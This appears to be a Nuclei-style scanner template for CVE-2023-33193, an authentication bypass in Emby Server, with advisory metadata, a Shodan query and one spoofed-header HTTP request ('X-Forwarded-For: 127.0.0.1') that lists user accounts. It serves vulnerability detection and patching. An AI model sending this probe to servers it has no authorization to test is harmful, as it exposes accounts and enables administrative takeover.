id: CVE-2023-33193

info:
  name: Emby Server - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    Emby Server is a user-installable home media server which stores and organizes a user's media files of virtually any format and makes them available for viewing at home and abroad on a broad range of client devices. This vulnerability may allow administrative access to an Emby Server system, depending on certain user account settings. By spoofing certain headers which are intended for interoperation with reverse proxy servers, it may be possible to affect the local/non-local network determination to allow logging in without password or to view a list of user accounts which may have no password configured. Impacted are all Emby Server system which are publicly accessible and where the administrator hasn't tightened the account login configuration for administrative users. This issue has been patched in Emby Server Beta version 4.8.31 and Emby Server version 4.7.12.
  impact: |
    Attackers can gain unauthorized administrative access or view user accounts without passwords, risking full control over the server.
  remediation: |
    Update to Emby Server version 4.8.31 or 4.7.12.
  reference:
    - https://github.com/EmbySupport/Emby.Security/security/advisories/GHSA-fffj-6fr6-3fgf
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33193
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-33193
    epss-score: 0.47456
    epss-percentile: 0.97743
    cwe-id: CWE-444
    cpe: cpe:2.3:a:emby:emby.releases:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: product:"Emby Media Server"
  tags: cve,cve2023,emby,auth-bypass,vkev

http:
  - raw:
      - |
        GET /emby/users/public HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Name":'
          - '"ServerId":'
          - '"HasPassword":'
          - '"Configuration":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cc2acbdd0ba55f4811383a7c99401fa6075834c28cf4f04de0279afee35420a802207f58e83a887b58aa15c09bebd2c9e9a6680977f1b779d1e4b5067022e3076470:922c64590222798bb761d5b6d8e72950